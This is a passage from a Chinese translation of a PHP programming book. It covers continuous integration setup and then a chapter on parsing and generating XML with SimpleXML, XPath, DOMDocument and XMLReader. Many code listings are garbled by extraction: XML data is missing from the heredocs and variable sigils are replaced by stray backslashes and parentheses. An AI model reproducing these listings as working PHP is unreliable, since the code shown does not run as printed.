pear.php.net/manual/en/guide.users.commandline.config.php](http://pear.php.net/manual/en/guide.users.commandline.config.php)
错误:无法创建目录 C:\ PHP \ pear \ data \ PHP _ PMD \ resources \ rulesets
pear config-get data_dir
“C:\php5” #incorrect
pear config-set data_dir “C:\xampp\php\pear\data”
pear config-set doc_dir “C:\xampp\php\pear\docs”
pear config-set test_dir “C:\xampp\php\pear\tests”
博格曼还编写了几个实用程序脚本,可以作为 CI 设置的良好起点和模板。您很可能需要调整路径和/或调整构建目标。这些脚本可以通过 pear 包管理器使用以下命令获得:
pear install phpunit/ppw
或在线访问
https://github.com/sebastianbergmann/php-project-wizard
图 13-12 显示了 Jenkins 主菜单屏幕,我们可以在此创建一个新任务。
图 13-12。詹金斯主菜单
总结
在这一章中,我们介绍了三种开发实践,它们可以帮助我们创建更高质量的 PHP 代码。这些是重构、单元测试和持续集成。所有这三个领域都很广阔,有许多关于每个主题的书籍。
世界上大多数代码都是遗留代码,因此作为开发人员,您需要知道如何从最初笨拙的代码中创建稳定性。重构是一项至关重要的技能,通过实践会变得更加容易。然而,即使是经验丰富的重构者和代码专家也会在重构时不知不觉地引入微妙的行为修改。这些可能会被忽视,并且以后很难确定。单元测试可以帮助跟踪函数的预期结果,从而检测出代码结构改变时引入的行为变化。
为了定期运行我们的测试,我们可以使用持续集成。持续集成系统帮助您消除枯燥、重复(但容易出错且耗时)的任务。计算机非常擅长重复的任务,它们从不抱怨它们正在做的工作很枯燥。
作为开发人员,我们应该努力在我们的代码中有高水平的质量保证,并且总是在寻找可用的新技术和工具。
十四、XML
可扩展标记语言(XML)是一种非常强大的数据存储和传输工具。当文档用 XML 编写时,它可以被普遍理解和交换。不应该低估 XML 作为全球标准的效用。XML 用于现代文字处理器文档、SOAP 和 REST web 服务、RSS 提要和 XHTML 文档。
在这一章中,我们将主要介绍 PHP SimpleXML 扩展,它使得操作 XML 文档变得非常容易。我们还将涉及文档对象模型(DOM)和 XMLReader 扩展。DOM 保证了无论使用哪种计算机语言,文档都能被同样地查看。存在多个用于解析和编写 XML 的库的主要原因是易用性、功能深度以及 XML 的操作方式。
XML 第一
XML 允许我们定义使用任何我们想要的标记元素或属性的文档。在文本编辑器中查看 XML 文档时,您可能会注意到它类似于 HTML。这是因为,像 HTML(超文本标记语言)一样,XML 也是一种标记语言,包含一个层次结构的标记内容的集合。层次结构是树状的,有一个根元素(标签)作为主干,子元素从根中分支出来,子元素从它们的父元素中分支出来。您也可以将 XML 文档按顺序看作一系列离散的事件。请注意,按顺序查看元素不需要了解整个文档代表什么,但这也增加了搜索元素的难度。
XML“应用”的一个具体例子是 XHTML。XHTML 和 HTML 的相似之处在于使用了相同的标签。然而,XHTML 也遵循 XML 标准,因此更加严格。XHTML 有以下附加要求:
- 标签区分大小写。在 XHTML 中,元素名需要总是小写。
- 单个元素,如
<br>,
需要关闭。在这种情况下,我们将使用<br />.
- 实体
&, <, >, ', "
需要分别作为&, <, >, '
和"
进行转义 - 属性需要用引号括起来。例如,
<img src=dog.jpg />
是非法的,而<img src="dog.jpg" />
是合法的。
为了解析 XML,我们可以使用基于树或事件驱动的模型。SimpleXML 和 DOM 中使用的基于树的模型将 HTML 和 XML 文档表示为元素树,并将整个文档加载到内存中。除了根元素,每个元素都有一个父元素。元素可以包含属性和值。基于事件的模型,如 Simple API for XML (SAX ),一次只能读取 XML 文档的一部分。对于大文档,SAX 更快;对于非常大的文档,这可能是唯一可行的选择。但是,基于树的模型通常更容易使用,也更直观,一些 XML 文档要求一次性加载文档。
一个基本的 XML 文档可能如下所示:
<animal> <type id="9">dog</type> <name>snoopy</name> </animal>
根元素是<animal>
,有两个子元素,<type>
和<name>
。<type>
元素的值是“狗”,而<name>
元素的值是“史努比”<type>
元素有一个属性id
,其值为“9”。此外,每个开始标记都有一个匹配的结束标记,属性值用引号括起来。
图式
XML 模式为 XML 文档提供了额外的约束。约束的例子是可选的或必须包含的特定元素、元素的可接受值和属性以及元素可以放置的位置。
如果没有模式,就没有什么可以阻止我们得到无意义的数据,就像你在清单 14-1 中看到的那样。
清单 14-1。显示需要更严格模式的例子
<animals> black <dog> <name>snoopy</name> <breed> <cat> brown <breed>tabby</breed> </cat> beagle cross </breed> </dog> <name>teddy</name> </animals>
这个文档对人类来说没有太大意义。一个cat
不能是一个dog
的一部分。color
和name
不是动物,应该用dog
或cat
元素括起来。然而,从机器的角度来看,这是一个完全有效的文档。我们必须告诉机器这个文件不被接受的原因。模式允许我们通知机器如何实施数据的布局。这种增加的刚性确保了文档中数据的完整性。有了模式,我们可以明确地说<cat>
标签不能进入<dog>
标签。我们也可以说<name>
和``标签只能直接进入<cat>
或<dog>
标签内部。
三种最流行的模式生成语言是文档类型定义(DTD)、XML 模式和 RELAX NG(下一代 XML 的常规语言)。因为这本书关注的是 PHP,所以我们不会详细介绍如何创建模式,而只是简单地提到您在文档的开头声明了模式。参见清单 14-2 。
清单 14-2。显示使用 xhtml1-transitional 模式声明的代码片段
`
`简单 XML
SimpleXML 使得将 XML 存储为 PHP 对象变得容易,反之亦然。SimpleXML 简化了 XML 结构的遍历和特定元素的查找。SimpleXML 扩展需要 PHP 5 或更高版本,默认情况下是启用的。
从字符串解析 XML
让我们直接看第一个例子。我们将把字符串中的 XML 加载到一个SimpleXMLElement
对象中,并遍历该结构。见清单 14-3 。
清单 14-3。第一个例子:animal.php
`<?php
error_reporting(E_ALL ^ E_NOTICE);
$xml = <<<THE_XML
THE_XML;
//to load the XML string into a SimpleXMLElement object takes one line
\(xml_object = simplexml_load_string(\)xml);
foreach ($xml_object as $element => $value) {
print $element . ": " . $value . "
";
}
?>`
在 XML 字符串被加载到清单 14-3 中之后,$xml_object
位于根元素处,<animal>.
文档被表示为一个SimpleXMLElement
对象,因此我们可以使用一个foreach
循环遍历子元素。清单 14-3 的输出如下:
type: dog name: snoopy
清单 14-4。【更复杂的例子:animals.php
`<?php
error_reporting(E_ALL ^ E_NOTICE);
$xml = <<<THE_XML
brown
brown
black
THE_XML;
\(xml_object = simplexml_load_string(\)xml);
//output all of the dog names
foreach($xml_object->dog as $dog){
print $dog->name."
";
}
?>`
清单 14-4 的输出如下:
snoopy jade
清单 14-4 中的大部分内容使用 PHP heredoc
语法以可读的方式加载字符串。寻找元素值的实际代码只有几行。很简单。SimpleXML 足够智能,可以迭代所有的<dog>
标签,即使在<dog>
标签之间有一个<cat>
标签。
从文件中解析 XML
当你加载 XML 的时候,如果文档无效,PHP 会给出一个有用的警告信息。该消息可以通知您需要关闭一个标记或对一个实体进行转义,并将指示错误的行号。参见清单 14-5 。
清单 14-5。无效 XML 的 PHP 警告消息示例
**Warning**: simplexml_load_string() [function.simplexml-load-string]: Entity: line 1: parser error : attributes construct error in **E:\xampp\htdocs\xml\animals.php** on line **29**
我们接下来的两个例子将从清单 14-6 中的文件加载 XML。一些 XML 元素有属性。我们将在清单 14-7 中展示如何通过重复使用 SimpleXML 函数调用来天真地找到属性值。然后在清单 14-10 中,我们将展示如何使用 XPath 来查找属性值,这是为了简化搜索。
清单 14-6。我们的示例 XHTML 文件:template.xhtml
`
清单 14-6 中的前两行定义了使用的 XML 版本和DOCTYPE
,它们不是加载到SimpleXMLElement
中的树的一部分。所以根源是<html>
元素。
清单 14-7 展示了如何使用面向对象的 SimpleXML 方法找到带有id="main_center"
的<div>
的内容。
清单 14-7。根据属性查找特定值
`<?php
error_reporting(E_ALL ^ E_NOTICE);
\(xml = simplexml_load_file("template.xhtml");
findDivContentsByID(\)xml, "main_center");
function findDivContentsByID($xml, \(id) {
foreach (\)xml->body->div as \(divs) {
if (!empty(\)divs->div)) {
foreach ($divs->div as \(inner_divs) {
if (isElementWithID(\)inner_divs, \(id)) {
break 2;
}
}
} else {
if (isElementWithID(\)divs, $id)) {
break;
}
}
}
}
function isElementWithID($element, \(id) {
\)actual_id = (String) \(element->attributes()->id;
if (\)actual_id == \(id) {
\)value = trim((String) \(element);
print "value of #\)id is: $value";
return true;
}
return false;
}
?>`
清单 14-7 将找到<body>
元素的所有<div>
元素,以及这些<div>
元素的直接子<div>
元素。然后每个匹配的<div>
元素都有它的id
属性与我们的 id 搜索值进行比较,"main_center."
如果它们相等,那么我们打印出这个值并从循环中脱离。该脚本的输出如下:
value of #main_center is: main story
我们不能简单地在我们的isElementWithID
函数中输出$element
,因为我们将输出整个SimpleXMLElement
对象。
object(SimpleXMLElement)[9] public '@attributes' => array 'id' => string 'main_center' (length=11) 'class' => string 'foobar' (length=6) string ' main story ' (length=40)
所以我们需要将一个Object
的返回值转换成一个String
。(回想一下,强制转换将变量从一种数据类型显式转换为另一种数据类型)。还要注意,空白在元素值中被捕获,所以我们可能需要在字符串上使用 PHP trim()
函数。
为了获得元素的属性,SimpleXML 有一个attributes()
函数,它返回一个属性对象。
var_dump($element->attributes()); object(SimpleXMLElement)[9] public '@attributes' => array 'id' => string 'main_center' (length=11) 'class' => string 'foobar' (length=6)
我们还需要转换$element->attributes()->id;
的返回值,否则我们将再次得到整个SimpleXMLElement
对象。
清单 14-7 不健壮。如果文档的结构发生变化或者比两层更深,它将无法找到 id。
您可能认识到 XHTML 文档遵循我们熟悉的 HTML 文档对象模型(DOM)。现有的解析器和遍历工具(如 XPath 和 XQuery)使得查找嵌套元素变得相对容易。XPath 是 SimpleXML 库和 PHP DOM 库的一部分。使用 SimpleXML,您可以通过函数调用$simple_xml_object->xpath()
调用 XPath。在 DOM 库中,通过创建一个对象DOMXPath
来使用 XPath,然后调用该对象的查询方法。
我们将在清单 14-10 中展示如何用 XPath 找到特定的 id 属性。首先,我们将展示如何使用 XPath 找到我们在清单 14-3 和 14-4 中检索到的元素。参见清单 14-8 。
清单 14-8。使用 XPath 查找元素
`<?php
error_reporting(E_ALL);
$xml = <<<THE_XML
THE_XML;
\(xml_object = simplexml_load_string(\)xml);
$type = \(xml_object->xpath("type");
foreach(\)type as $t) {
echo $t."
";
}
\(xml_object = simplexml_load_string(\)xml);
$children = \(xml_object->xpath("/animal/*");
foreach(\)children as $element) {
echo \(element->getName().": ".\)element."
";
}
?>`
清单 14-8 的输出是:
`dog
type: dog
name: snoopy`
在清单 14-8 的第一部分,我们使用 XPath 选择器“type
选择<animal>
的内部元素<type>
。这将返回匹配 XPath 查询的一组SimpleXMLElement
对象。清单的第二部分使用 XPath 选择器“/animal/*
”, where
选择<animal>
的所有子元素。星号是通配符。当SimpleXMLElement
对象从xpath()
调用中返回时,我们也可以通过使用getName()
方法输出元素名称。
在 www.w3.org/TR/xpath/.可以看到包含 XPath 选择器的完整规范
清单 14-9 展示了如何匹配一个特定的子元素,而不管其父元素的类型。它还演示了如何找到一个SimpleXMLElement
的父元素。
清单 14-9。使用 XPath 匹配孩子和父母
`<?php
error_reporting(E_ALL ^ E_NOTICE);
$xml = <<<THE_XML
brown
brown
black
THE_XML;
\(xml_object = simplexml_load_string(\)xml);
$names = \(xml_object->xpath("*/name");
foreach (\)names as \(element) {
\)parent = \(element->xpath("..");
\)type = \(parent[0]->getName();
echo "\)element ($type)
";
}
?>`
清单 14-9 的输出将是这样的:
snoopy (dog) teddy (cat) jade (dog)
我们用 XPath 查询“*/name
”匹配了<name>
元素,不管它是包含在<dog>
还是<cat>
元素中。为了获得当前SimpleXMLElement
的父节点,我们使用了查询".."
。我们可以使用查询“parent::*
”。
清单 14-10。使用 XPath 匹配属性值
`<?php
error_reporting(E_ALL);
\(xml = simplexml_load_file("template.xhtml"); \)content = \(xml->xpath("//*[@id='main_center']"); print (String)\)content[0];
?>`
在清单 14-10 中,我们使用查询“//*[@id='main_center']
”来查找属性id
等于'main_center'
的元素。为了用 XPath 匹配一个属性,我们使用了@
符号。比较使用 XPath 的清单 14-10 和清单 14-7 的简单性。
名称空间
XML 名称空间定义一个元素属于哪个集合,从而防止数据模糊。这一点很重要,如果不同的节点类型包含相同名称的元素,就会出现这种情况。例如,您可以为cat
和dog
定义不同的名称空间,以确保它们的内部元素有唯一的名称,如清单 14-11 和清单 14-12 所示。
关于 PHP 名称空间的信息,请参考第五章 -前沿 PHP。
拥有 XML 名称空间的第一部分是用xmlns:*your_namespace*
声明一个名称空间:
<animals xmlns:dog='http://foobar.com:dog' xmlns:cat='http://foobar.com:cat'>
然后将名称空间作为元素的前缀。当你想检索狗的名字时,你可以搜索dog:name
,这样只会过滤掉dog
的名字。
清单 14-11 显示了如何在 XML 文档中使用名称空间。
清单 14-11。使用 XPath 无法在带有未注册名称空间的文档中找到内容
`<?php
error_reporting(E_ALL ^ E_NOTICE);
$xml = <<<THE_XML
dog:namesnoopy</dog:name>
dog:colorbrown</dog:color>
dog:breedbeagle cross</dog:breed>
cat:nameteddy</cat:name>
cat:colorbrown</cat:color>
cat:breedtabby</cat:breed>
dog:namejade</dog:name>
dog:colorblack</dog:color>
dog:breedlab cross</dog:breed>
THE_XML;
\(xml_object = simplexml_load_string(\)xml);
$names = $xml_object->xpath("name");
foreach ($names as $name) {
print $name . "
";
}
?>`
运行包含名称空间的清单 10-11 不会输出任何内容。运行 XPath 时,我们需要注册名称空间。参见清单 14-12 。
清单 14-12。使用 XPath 在注册了名称空间的文档中查找内容
`<?php
error_reporting(E_ALL ^ E_NOTICE);
$xml = <<<THE_XML
dog:namesnoopy</dog:name>
dog:colorbrown</dog:color>
dog:breedbeagle cross</dog:breed>
cat:nameteddy</cat:name>
cat:colorbrown</cat:color>
cat:breedtabby</cat:breed>
dog:namejade</dog:name>
dog:colorblack</dog:color>
dog:breedlab cross</dog:breed>
THE_XML;
\(xml_object = simplexml_load_string(\)xml);
\(xml_object->registerXPathNamespace('cat', 'http://foobar.com/cat');**
**\)xml_object->registerXPathNamespace('dog', 'http://foobar.com/dog');
$names = $xml_object->xpath("dog:name");
foreach ($names as $name) {
print $name . "
";
}
?>`
输出如下:
snoopy jade
在清单 14-12 中,在用 XPath 注册了名称空间之后,我们需要将它作为查询元素的前缀。
在清单 14-13 中,我们将使用 XPath 通过值匹配一个元素。然后我们将读取这个元素的属性值..
清单 14-13。使用 XPath 找到具有特定值的元素的属性值
`?<?php
error_reporting(E_ALL);
$xml = <<<THE_XML
brown
brown
black
THE_XML;
\(xml_object = simplexml_load_string(\)xml);
$result = \(xml_object->xpath("dog/name[contains(., 'jade')]"); print (String)\)result[0]->attributes()->id;
?>`
在清单 14-13 中,我们使用了 XPath 函数contains
,它有两个参数,第一个是在哪里搜索—'.'
代表当前节点,第二个是搜索字符串。这个函数有一个(草堆,针)参数格式。然后我们接收一个匹配的SimpleXMLObject
,并输出它的id
属性。
XPath 非常强大,任何熟悉高级 JavaScript 语言(如 jQuery)的人都已经知道很多语法。学习 XPath 和 DOM 将为您节省大量时间,并使您的脚本更加可靠
RSS
真正简单的联合(RSS)提供了一种发布和订阅内容的简单方法。
任何 RSS 提要都可以,但以《连线 》杂志的提要为例。提要在http://feeds.wired.com/wired/index?format=xml.
可用。提要的来源如下所示:
`
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner=
"http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
http://www.wired.com/rss/index.xml
/index.gif">
dc:creatorWired.com</dc:creator>
<dc:subject />
dc:date2011-02-27T16:07:00Z</dc:date>
dc:languageen-us</dc:language>
dc:rightsCopyright 2007 CondeNet Inc. All rights reserved.</dc:rights>
<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self"
type="application/rss+xml" href="http://feeds.wired.com/wired/index" /><feedburner:info
uri="wired/index" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub"
href="http://pubsubhubbub.appspot.com/" />)
http://feeds.wired.com/r/wired/index/3/vFb527zZQ0U/
/oscars-broadcast/
dc:creatorTerrence Russell</dc:creator>
dc:date2011-02-27T00:19:00Z</dc:date>
feedburner:origLinkhttp://www.wired.com/underwire/2011/02
/oscars-broadcast/</feedburner:origLink>
…
…
…
`
为简洁起见,描述已被替换。您可以看到 RSS 文档就是 XML。有许多库可以解析来自 XML 提要的内容,我们在第十章 -库中展示了如何使用 SimplePie 解析这个提要。但是,凭借您的 XML 知识,您可以轻松地自己解析内容。
清单 14-14 是一个用提要中的要点构建表格的例子。它有链接到整篇文章的文章标题、文档的创建者和发布日期。注意,在 XML 中,creator
元素位于名称空间之下,所以我们用 XPath 检索它。输出如图 14-1 中所示。
清单 14-14。解析有线 RSS 提要:wired_rss.php
`
channel->item as $item){ print ""; print ""; $creator_by_xpath = $item->xpath("dc:creator"); print ""; //equivalent creator, using children function instead of xpath function //$creator_by_namespace = $item->children('http://purl.org/dc/elements/1.1/')->creator; //print ""; } ?>
Story | Date | Creator |
---|---|---|
".$item->title." | ".$item->pubDate." | ".(String)$creator_by_xpath[0]." |
".(String)$creator_by_namespace[0]." |
图 14-1。清单 14-14 中 RSS 提要解析器的输出
在清单 14-14 中,我们使用 XPath 来获取属于名称空间dc
的creator
元素。
我们也可以用特定的名称空间检索我们的$item
元素的子元素。这是一个两步过程。首先我们要找到dc
代表什么。
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
第二步是将这个名称空间地址作为参数传递给children
函数
//$creator_by_namespace = $item->children('http://purl.org/dc/elements/1.1/')->creator;
用 SimpleXML 生成 XML
我们专门使用 SimpleXML 来解析现有的 XML。但是,我们也可以用它从现有数据生成 XML 文档。这些数据可以是数组、对象或数据库的形式。
为了以编程方式创建一个 XML 文档,我们需要创建一个新的SimpleXMLElement
,它将指向我们的文档根。然后我们可以向根添加子元素,以及这些子元素的子元素。见清单 14-15 。
清单 14-15。用 SimpleXML 生成一个基本的 XML 文档
`<?php
error_reporting(E_ALL ^ E_NOTICE);
//generate the xml, starting with the root
\(animals = new SimpleXMLElement('<animals/>');
\)animals->{0} = 'Hello World';
$animals->asXML('animals.xml');
//verify no errors with our newly created output file
var_dump(simplexml_load_file('animals.xml'));
?>`
产出:
object(SimpleXMLElement)[2] string 'Hello World' (length=11)
并生成包含以下内容的文件animals.xml
:
<?xml version="1.0"?> <animals>Hello World</animals>=
清单 14-15 创建一个根元素<animal>
,给它赋值,并调用方法asXML
保存到一个文件。为了测试这是否可行,我们加载保存的文件并输出内容。请确保您对该文件位置具有写权限。
在清单 14-16 中,它是对清单 14-4 的补充,我们将动物数据存储为数组,并希望根据这些信息创建一个 XML 文档。
清单 14-16。用 SimpleXML 生成一个基本的 XML 文档
`<?php
error_reporting(E_ALL ^ E_NOTICE);
//our data, stored in arrays
$dogs_array = array(
array("name" => "snoopy",
"color" => "brown",
"breed" => "beagle cross"
),
array("name" => "jade",
"color" => "black",
"breed" => "lab cross"
),
);
$cats_array = array(
array("name" => "teddy",
"color" => "brown",
"breed" => "tabby"
),
);
//generate the xml, starting with the root
$animals = new SimpleXMLElement('
$cats_xml = \(animals->addChild('cats'); \)dogs_xml = $animals->addChild('dogs');
foreach ($cats_array as \(c) {
\)cat = \(cats_xml->addChild('cat');
foreach (\)c as $key => \(value) {
\)tmp = \(cat->addChild(\)key);
$tmp->{0} = $value;
}
}
foreach ($dogs_array as \(d) {
\)dog = \(dogs_xml->addChild('dog');
foreach (\)d as $key => \(value) {
\)tmp = \(dog->addChild(\)key);
$tmp->{0} = $value;
}
}
var_dump(\(animals);
\)animals->asXML('animals.xml');
print '
';
//verify no errors with our newly created output file
var_dump(simplexml_load_file('animals.xml'));
?>`
在清单 14-16 的中,我们用调用new SimpleXMLElement('<animals/>')
创建了一个新的SimpleXMLElement
根。为了从顶层元素向下填充我们的文档,我们通过调用addChild
来创建子元素,并存储对新创建元素的引用。使用元素引用,我们可以添加子元素。通过重复这个过程,我们可以生成一个完整的节点树。
不幸的是,输出函数asXML()
根本没有很好地格式化我们的输出。所有内容都显示为一行。为了解决这个问题,我们可以使用DOMDocument
类,我们将在本章后面讨论这个类来很好地输出 XML。
$animals_dom = new DOMDocument('1.0'); $animals_dom->preserveWhiteSpace = false; $animals_dom->formatOutput = true; //returns a DOMElement $animals_dom_xml = dom_import_simplexml($animals); $animals_dom_xml = $animals_dom->importNode($animals_dom_xml, true); $animals_dom_xml = $animals_dom->appendChild($animals_dom_xml); $animals_dom->save('animals_formatted.xml');
这段代码创建了一个新的DOMDocument
对象,并将其设置为格式化输出。然后我们将SimpleXMLElement
对象导入到一个新的DOMElement
对象中。我们递归地将节点导入到文档中,然后将格式化的输出保存到文件中。替换清单 14-16 中asXML
调用的上述代码会产生干净的嵌套输出:
<?xml version="1.0"?> <animals> <cats> <cat> <name>teddy</name> brown <breed>tabby</breed> </cat> </cats> <dogs> <dog> <name>snoopy</name> brown <breed>beagle cross</breed> </dog> <dog> <name>jade</name> black <breed>lab cross</breed> </dog> </dogs> </animals>
注意 SimpleXML 也可以通过函数
simplexml_import_dom
导入 DOM 对象。
`<?php
error_reporting(E_ALL ^ ~E_STRICT);
\(dom_xml = DOMDocument::loadXML("<root><name>Brian</name></root>");
\)simple_xml = simplexml_import_dom($dom_xml);
print $simple_xml->name; // brian
?>`
在清单 14-17 中,我们将生成一个带有名称空间和属性的 RSS 样本。我们的目标是输出具有以下结构的 XML 文档:
<?xml version="1.0" ?> <rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"> <channel> <title>Brian’s RSS Feed</title> <description>Brian’s Latest Blog Entries</description> <link>http://www.briandanchilla.com/node/feed </link> <lastBuildDate>Fri, 04 Feb 2011 00:11:08 +0000 </lastBuildDate> <pubDate>Fri, 04 Feb 2011 08:25:00 +0000 </ pubDate> <item> <title>Pretend Topic </title> <description>Pretend description</description> <link>http://www.briandanchilla.com/pretend-link/</link> <guid>unique generated string</guid> <dc:pubDate>Fri, 04 Feb 2011 08:25:00 +0000 </dc:pubDate> </item> </channel> </rss>
清单 14-17。用 SimpleXML 生成 RSS 文档
`<?php
error_reporting(E_ALL);
$items = array(
array(
"title" => "a",
"description" => "b",
"link" => "c",
"guid" => "d",
"lastBuildDate" => "",
"pubDate" => "e"),
array(
"title" => "a2",
"description" => "b2",
"link" => "c2",
"guid" => "d2",
"lastBuildDate" => "",
"pubDate" => "e2"),
);
\(rss_xml = new SimpleXMLElement('<rss xmlns:dc="http://purl.org/dc/elements/1.1/"/>');
\)rss_xml->addAttribute('version', '2.0');
$channel = $rss_xml->addChild('channel');
foreach ($items as \(item) { \)item_tmp = $channel->addChild('item');
foreach ($item as $key => \(value) {
if (\)key == "pubDate") {
$tmp = \(item_tmp->addChild(\)key, \(value, "http://purl.org/dc/elements/1.1/");
} else if(\)key == "lastBuildDate") {
//Format will be: Fri, 04 Feb 2011 00:11:08 +0000
$tmp = \(item_tmp->addChild(\)key, date('r', time()));
} else {
$tmp = \(item_tmp->addChild(\)key, $value);
}
}
}
//for nicer formatting
\(rss_dom = new DOMDocument('1.0');
\)rss_dom->preserveWhiteSpace = false;
\(rss_dom->formatOutput = true;
//returns a DOMElement
\)rss_dom_xml = dom_import_simplexml(\(rss_xml);
\)rss_dom_xml = \(rss_dom->importNode(\)rss_dom_xml, true);
$rss_dom_xml = \(rss_dom->appendChild(\)rss_dom_xml);
$rss_dom->save('rss_formatted.xml');
?>`
清单 14-17 中的主要代码行是在根元素$rss_xml = new SimpleXMLElement('<rss xmlns:dc="http://purl.org/dc/elements/1.1/"/>')
中设置名称空间,如果条目关键字是pubDate
则获取名称空间,如果关键字是lastBuildDate
则生成 RFC 2822 格式的日期。
运行清单 14-17 中的后,文件的内容将与此类似:
<?xml version="1.0"?> <rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"> <channel> <item> <title>a</title> <description>b</description> <link>c</link> <guid>d</guid>
<lastBuildDate>Fri, 27 May 2011 01:20:04 +0200</lastBuildDate> <dc:pubDate>e</dc:pubDate> </item> <item> <title>a2</title> <description>b2</description> <link>c2</link> <guid>d2</guid> <lastBuildDate>Fri, 27 May 2011 01:20:04 +0200</lastBuildDate> <dc:pubDate>e2</dc:pubDate> </item> </channel> </rss>
注意关于 SimpleXML 的更多信息可以在
[
php.net/manual/en/book.simplexml.php.](http://php.net/manual/en/book.simplexml.php.)
找到
要对没有验证的 XML 文档进行故障诊断,您可以在
[
validator.w3.org/check](http://validator.w3.org/check)
使用在线验证器。
DOMDocument
正如本章开始时提到的,SimpleXML 绝不是 PHP 中 XML 操作的唯一选择。另一个流行的 XML 扩展是 DOM。我们已经看到,DOMDocument 在输出格式方面有一些比 SimpleXML 更强大的特性。DOMDocument 比 SimpleXML 更强大,但是正如您所料,它并不容易使用。
大多数情况下,您可能会选择使用 SimpleXML 而不是 DOM。然而,DOM 扩展具有以下附加特性:
- 遵循 W3C DOM API,所以如果您熟悉 JavaScript DOM,这将很容易适应。
- 支持 HTML 解析。
- 不同的节点类型提供了更多的控制。
- 可以将原始 XML 追加到现有的 XML 文档中。
- 通过更新或删除节点,可以更容易地修改现有文档。
- 为 CDATA 和注释提供更好的支持。
使用 SimpleXML,所有节点都是一样的。所以一个元素使用相同的底层对象作为属性。DOM 有不同的节点类型。这些是XML_ELEMENT_NODE
、XML_ATTRIBUTE_NODE,
和XML_TEXT_NODE
。根据类型的不同,相应的对象属性是元素的tagName
、属性的name
和value
以及文本的nodeName
和nodeValue
。
//creating a DOMDocument object $dom_xml = new DOMDocument();
DOMDocument
可以从字符串、文件中加载 XML,或者从SimpleXML
对象中导入。
`//from a string
$dom_xml->loadXML('the full xml string');
// from a file
$dom_xml->load('animals.xml');
// imported from a SimpleXML object
\(dom_element = dom_import_simplexml(\)simplexml);
$dom_element = \(dom_xml->importNode(\)dom_element, true);
$dom_element = \(dom_xml->appendChild(\)dom_element);`
为了操纵一个 DOM 对象,您可以通过对如下函数的面向对象调用来实现:
$dom_xml->item(0)->firstChild->nodeValue $dom_xml->childNodes $dom_xml->parentNode $dom_xml->getElementsByTagname('div');
有几个保存功能可用- save
、 saveHTML
、 saveHTMLFile,
、saveXML
。
DOMDocument 有一个validate
函数来检查一个文档是否合法。要在 DOM 中使用 XPath,您需要构造一个新的DOMXPath
对象。
$xpath = new DOMXPath($dom_xml);
为了更好地说明 SimpleXML 和 DOM 扩展之间的区别,下面两个使用 DOM 的例子相当于本章前面使用 SimpleXML 的例子。
清单 14-18 输出括号中的所有动物名称和动物类型。它相当于使用 SimpleXML 的清单 14-9 。
清单 14-18。用 DOM 查找元素
`<?php
error_reporting(E_ALL ^ E_NOTICE);
$xml = <<<THE_XML
brown
brown
black
THE_XML;
\(xml_object = new DOMDocument(); \)xml_object->loadXML(\(xml); \)xpath = new DOMXPath($xml_object);
$names = \(xpath->query("*/name");
foreach (\)names as \(element) {
\)parent_type = \(element->parentNode->nodeName;
echo "\)element->nodeValue ($parent_type)
";
}
?>`
注意在清单 14-18 中,我们需要构造一个DOMXPath
对象,然后调用它的query
方法。与清单 14-9 中的不同,我们可以直接访问父节点。最后,注意我们在前面的清单中访问节点值和名称作为属性,并通过清单 14-9 中的方法调用。
清单 14-19 展示了如何搜索一个元素值,然后找到该元素的一个属性值。它是清单 14-13 中的 DOM 等价物..
清单 14-19。用 DOM 搜索元素和属性值
`<?php
error_reporting(E_ALL);
$xml = <<<THE_XML
brown
brown
black
THE_XML;
\(xml_object = new DOMDocument();
\)xml_object->loadXML(\(xml);
\)xpath = new DOMXPath(\(xml_object);`
`\)results = \(xpath->query("dog/name[contains(., 'jade')]");
foreach (\)results as $element) {
print $element->attributes->getNamedItem("id")->nodeValue;
}
?>`
在清单 14-19 的中需要注意的主要事情是,对于 DOM,我们使用attributes->getNamedItem("id")->nodeValue
来查找id
属性元素。对于 SimpleXML,在清单 14-13 中,我们使用了attributes()->id
。
XMLReader 和 XMLWriter
XMLReader 和 XMLWriter 扩展一起使用。它们比 SimpleXML 或 DOM 扩展更难使用。但是,对于非常大的文档,使用 XMLReader 和 XMLWriter 是一个很好的选择(通常是唯一的选择),因为读取器和编写器是基于事件的,不需要将整个文档加载到内存中。但是,由于 XML 不是一次性加载的,所以使用 XMLReader 或 XMLWriter 的先决条件之一是应该事先知道 XML 的确切模式。
通过反复调用read()
,查找nodeType
,获得value
,可以用 XMLReader 获得大部分值。
清单 14-20 是清单 14-4 的的 XMLReader 等价物,它使用 SimpleXML。
清单 14-20。用 XMLReader 查找元素
`<?php
error_reporting(E_ALL ^ E_NOTICE);
\(xml = <<<THE_XML
<animals>
<dog>
<name>snoopy</name>
brown
<breed>beagle cross</breed>
</dog>
<cat>
<name>teddy</name>
brown
<breed>tabby</breed>
</cat>
<dog>
<name>jade</name>
black
<breed>lab cross</breed>
</dog>
</animals>
THE_XML;`
`\)xml_object = new XMLReader();
\(xml_object->XML(\)xml);
\(dog_parent = false;
while (\)xml_object->read()) {
if (\(xml_object->nodeType == XMLREADER::ELEMENT) {
if (\)xml_object->name == "cat") {
\(dog_parent = false;
} else if (\)xml_object->name == "dog") {
\(dog_parent = true;
} else
if (\)xml_object->name == "name" && \(dog_parent) {
\)xml_object->read();
if ($xml_object->nodeType == XMLReader::TEXT) {
print \(xml_object->value . "<br/>";
\)dog_parent = false;
}
}
}
}
?>`
注意,清单 14-20 不包含名称空间元素或 XPath 的用法,仍然很复杂。
一个有用的 XMLReader 函数是expand()
。它将返回当前节点的副本作为一个DOMNode
。这意味着您现在可以通过标记名搜索子树了。
$subtree = $xml_reader->expand(); $breeds = $subtree->getElementsByTagName('breed');
当然,您只希望在本身不是很大的子树上这样做。XMLReader 和 XMLWriter 比基于树的扩展复杂得多,仅节点类型就有 20 种左右。与 SimpleXML 和 DOM 相比,XMLReader 和 XMLWriter 的难度使得它只在必要时使用。
总结
XML 是一种非常有用的交流和存储数据的工具。XML 的跨语言、独立于平台的特性使它成为许多应用的理想选择。XML 文档可以是简单明了的,也可以是非常复杂的,具有复杂的模式和多个名称空间。
